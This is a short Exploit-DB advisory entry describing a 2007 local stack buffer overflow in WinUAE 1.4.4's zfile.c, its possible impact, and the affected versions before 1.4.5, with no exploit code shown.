WinUAE 1.4.4 - 'zfile.c' Stack Buffer Overflow

EDB-ID:

30922




Platform:

Multiple

Date:

2007-12-21

WinUAE is prone to a local stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects versions prior to WinUAE 1.4.5.
